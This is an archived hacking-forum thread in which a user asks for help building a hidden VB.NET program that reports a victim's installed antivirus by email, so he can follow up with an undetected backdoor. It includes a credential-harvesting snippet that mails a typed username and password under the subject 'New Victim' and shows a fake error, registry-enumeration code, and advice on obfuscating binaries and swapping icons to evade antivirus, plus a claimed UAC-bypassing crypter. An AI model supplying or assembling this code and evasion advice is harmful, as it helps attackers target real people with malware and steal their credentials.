Exe that copies all installed programs

Exe that copies all installed programs - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Coding (https://sinister.li/Forum-Coding)
+--- Forum: Visual Basic & .NET Framework (https://sinister.li/Forum-Visual-Basic-NET-Framework)
+--- Thread: Exe that copies all installed programs (/Thread-Exe-that-copies-all-installed-programs)

Pages: 1 2 3

Exe that copies all installed programs - ReTi0n - 04-12-2013

Hi guys , I have a single question to ask.

Is there a way to make a vb net program that runs on the background , copies all installed programs into a variable or smthin (I only want to know what antivirus victim has but anyway) and then email all data to me?

From what I said above I have only find on google the code to sent the email:

Code:
[color=#FF0000]Imports System.Net.Mail
Public Class Form1

   Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PrimeButton1.Click
        Dim MyMailMessage As New MailMessage()
        MyMailMessage.From = New MailAddress("email@gmail.com")
        MyMailMessage.To.Add("email@gmail.com")
        MyMailMessage.Subject = ("New Victim")
        MyMailMessage.Body = ("Username: " + TextBox1.Text + " " + "Password: " + TextBox2.Text)
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential("youremail", "youremailpass")
        SMTPServer.EnableSsl = True
        SMTPServer.Send(MyMailMessage)
        MsgBox("Fatal Error! 0x23324 Can not connect to account!", MsgBoxStyle.Critical)
    End Sub
End Class

[/color]

Can someone help???

RE: Exe that copies all installed programs - Deque - 04-12-2013

Quote:Is there a way to make a vb net program that runs on the background , copies all installed programs into a variable or smthin (I only want to know what antivirus victim has but anyway) and then email all data to me?

Yes, there is.
Actually I feel like stopping my answer here as you didn't ask for a solution. But I will give you a start: http://stackoverflow.com/questions/429738/detecting-installed-programs-via-registry

Learn how to read the registry with VB.NET and do as said in the link.

RE: Exe that copies all installed programs - ReTi0n - 04-12-2013

(04-12-2013, 07:55 AM)Deque Wrote:
Quote:Is there a way to make a vb net program that runs on the background , copies all installed programs into a variable or smthin (I only want to know what antivirus victim has but anyway) and then email all data to me?

Yes, there is.
Actually I feel like stopping my answer here as you didn't ask for a solution. But I will give you a start: http://stackoverflow.com/questions/429738/detecting-installed-programs-via-registry

Learn how to read the registry with VB.NET and do as said in the link.

Well, I didnt ask for a solution, I'd like to write my own program (this way I'll learn right?)

Your link might be a little advanced for me but is a good way to start with... Thanx

RE: Exe that copies all installed programs - Psycho_Coder - 04-12-2013

Just as @Deque suggested have a look at that link . Also refer to this link here it will help you out http://technet.microsoft.com/en-us/library/bb490936.aspx .

Create some .dll file and then use it in your application , the below is a rough code . Google'd a bit

Code:
Public Shared Function GetInstalledPrograms(ByVal IncludeUpdates As Boolean) As List(Of InstalledProgram)
        Return InternalGetInstalledPrograms(IncludeUpdates, My.Computer.Registry.LocalMachine, My.Computer.Registry.Users)
    End Function

Code:
Public Shared Function GetInstalledPrograms(ByVal ComputerName As String, ByVal IncludeUpdates As Boolean) As List(Of InstalledProgram)
        Try
            Return InternalGetInstalledPrograms(IncludeUpdates, RegistryKey.OpenRemoteBaseKey(RegistryHive.LocalMachine, ComputerName), RegistryKey.OpenRemoteBaseKey(RegistryHive.Users, ComputerName))
        Catch ex As Exception
            Debug.WriteLine(ex.Message)
            Return New List(Of InstalledProgram)
        End Try
    End Function

You can also get information from this registry path "Software\Microsoft\Windows\CurrentVersion\Uninstall"

Code:
Dim rgk, skey As Microsoft.Win32.RegistryKey
Dim value As String
Dim regispath As String = "Software\Microsoft\Windows\CurrentVersion\Uninstall"
rgk = My.Computer.Registry.LocalMachine.OpenSubKey(regpath)
Dim sbkeys() As String = regkey.GetSubKeyNames
Dim includes As Boolean
For Each subk As String In sbkeys
  skey = rgk.OpenSubKey(subk)
  value = skey.GetValue("DisplayName", "")
  If value <> "" Then
    includes = True
    If value.IndexOf("Hotfix") <> -1 Then includes = False
    If value.IndexOf("Security Update") <> -1 Then includes = False
    If value.IndexOf("Update for") <> -1 Then includes = False
    If includes = True Then ListBox1.Items.Add(value)
  End If
Next

If you want to learn Registry manipulation as Deque Suggested then follow this link
http://msdn.microsoft.com/en-us/library/aa289494(v=vs.71).aspx

and have a look at this :-

http://msdn.microsoft.com/en-us/library/windows/desktop/aa394582(v=vs.85).aspx

If you want then then I can try my hands to make a program like this in VB.NET , I will be overjoyed.

Yes you can mail it, when you get the installed application information then write those to a listbox which will serve your mail message. If you are trying to make a Keylogger that when run on the slave machine will gather all the information of the installed applications and then mail you, then yes its a nice concept I think.

RE: Exe that copies all installed programs - ReTi0n - 04-12-2013

(04-12-2013, 08:34 AM)Psycho_Coder Wrote: Just as @Deque suggested have a look at that link . Also refer to this link here it will help you out http://technet.microsoft.com/en-us/library/bb490936.aspx .

Create some .dll file and then use it in your application , the below is a rough code . Google'd a bit

Code:
Public Shared Function GetInstalledPrograms(ByVal IncludeUpdates As Boolean) As List(Of InstalledProgram) Return InternalGetInstalledPrograms(IncludeUpdates, My.Computer.Registry.LocalMachine, My.Computer.Registry.Users) End Function

Code:
Public Shared Function GetInstalledPrograms(ByVal ComputerName As String, ByVal IncludeUpdates As Boolean) As List(Of InstalledProgram) Try Return InternalGetInstalledPrograms(IncludeUpdates, RegistryKey.OpenRemoteBaseKey(RegistryHive.LocalMachine, ComputerName), RegistryKey.OpenRemoteBaseKey(RegistryHive.Users, ComputerName)) Catch ex As Exception Debug.WriteLine(ex.Message) Return New List(Of InstalledProgram) End Try End Function

You can also get information from this registry path "Software\Microsoft\Windows\CurrentVersion\Uninstall"

Code:
Dim rgk, skey As Microsoft.Win32.RegistryKey Dim value As String Dim regispath As String = "Software\Microsoft\Windows\CurrentVersion\Uninstall" rgk = My.Computer.Registry.LocalMachine.OpenSubKey(regpath) Dim sbkeys() As String = regkey.GetSubKeyNames Dim includes As Boolean For Each subk As String In sbkeys skey = rgk.OpenSubKey(subk) value = skey.GetValue("DisplayName", "") If value <> "" Then includes = True If value.IndexOf("Hotfix") <> -1 Then includes = False If value.IndexOf("Security Update") <> -1 Then includes = False If value.IndexOf("Update for") <> -1 Then includes = False If includes = True Then ListBox1.Items.Add(value) End If Next

If you want to learn Registry manipulation as Deque Suggested then follow this link
http://msdn.microsoft.com/en-us/library/aa289494(v=vs.71).aspx

and have a look at this :-

http://msdn.microsoft.com/en-us/library/windows/desktop/aa394582(v=vs.85).aspx

If you want then then I can try my hands to make a program like this in VB.NET , I will be overjoyed.

Yes you can mail it, when you get the installed application information then write those to a listbox which will serve your mail message. If you are trying to make a Keylogger that when run on the slave machine will gather all the information of the installed applications and then mail you, then yes its a nice concept I think.

Thank you very much sir, its prety analitical and I'm sure it will keep me busy for sometime but after that I will probably be able to write my program...

-I am not trying to write a keylogger in face, I thought of this but i think its very difficult for me so making a background program (most likely a virus;D ) that will copy info from the registry will show me which antivirus and version of it the victim has. After this I will sent an email with a zip backdoor (that I know the victim's antivirus wont detect) and when he opens the program in the email BOOM . I got him.

RE: Exe that copies all installed programs - Psycho_Coder - 04-12-2013

(04-12-2013, 08:57 AM)ReTi0n Wrote: Thank you very much sir, its prety analitical and I'm sure it will keep me busy for sometime but after that I will probably be able to write my program...

-I am not trying to write a keylogger in face, I thought of this but i think its very difficult for me so making a background program (most likely a virus;D ) that will copy info from the registry will show me which antivirus and version of it the victim has. After this I will sent an email with a zip backdoor (that I know the victim's antivirus wont detect) and when he opens the program in the email BOOM . I got him.

First of all , Don't call me sir , I am a student and at HC I learn from others ,
Secondly , Programs like you're are willing to do , can be detected by an antivirus as a trojan , so you might need to do something that will make it undetectable ,

You can use Confuser application , change the assembly info and change Icons , this will help making it undetectable .

One more thing use the code tags for posting any code , now edit your post and give the code tags.

RE: Exe that copies all installed programs - ReTi0n - 04-12-2013

(04-12-2013, 09:15 AM)Psycho_Coder Wrote:
(04-12-2013, 08:57 AM)ReTi0n Wrote: Thank you very much sir, its prety analitical and I'm sure it will keep me busy for sometime but after that I will probably be able to write my program...

-I am not trying to write a keylogger in face, I thought of this but i think its very difficult for me so making a background program (most likely a virus;D ) that will copy info from the registry will show me which antivirus and version of it the victim has. After this I will sent an email with a zip backdoor (that I know the victim's antivirus wont detect) and when he opens the program in the email BOOM . I got him.

First of all , Don't call me sir , I am a student and at HC I learn from others ,
Secondly , Programs like you're are willing to do , can be detected by an antivirus as a trojan , so you might need to do something that will make it undetectable ,

You can use Confuser application , change the assembly info and change Icons , this will help making it undetectable .

One more thing use the code tags for posting any code , now edit your post and give the code tags.

Well Im a student too but I dont really have your experience...
Fixed the code.

I thought that if you write your own simple keylogger for example all antiviruses wont detect it because you are the only one using it and antiviruses wont have a signature for it??? Isnt this true?

RE: Exe that copies all installed programs - Coder-san - 04-12-2013

(04-12-2013, 09:32 AM)ReTi0n Wrote: [...]
I thought that if you write your own simple keylogger for example all antiviruses wont detect it because you are the only one using it and antiviruses wont have a signature for it??? Isnt this true?

If you have your own private method then yes. Which is highly unlikely unless you are using a not-so-popular language to do so.

Btw, if the victim has UAC enabled your app won't work. The registry access will trigger UAC.

RE: Exe that copies all installed programs - ReTi0n - 04-12-2013

(04-12-2013, 09:53 AM)Coder-san Wrote:
(04-12-2013, 09:32 AM)ReTi0n Wrote: [...]
I thought that if you write your own simple keylogger for example all antiviruses wont detect it because you are the only one using it and antiviruses wont have a signature for it??? Isnt this true?

If you have your own private method then yes. Which is highly unlikely unless you are using a not-so-popular language to do so.

Btw, if the victim has UAC enabled your app won't work. The registry access will trigger UAC.

I have a crypter that bypass UAC on windows 7.

What do you mean private methods?

RE: Exe that copies all installed programs - Coder-san - 04-12-2013

By private I mean, a different method and/or storage method of which nobody knows about. A sourcecode not in public.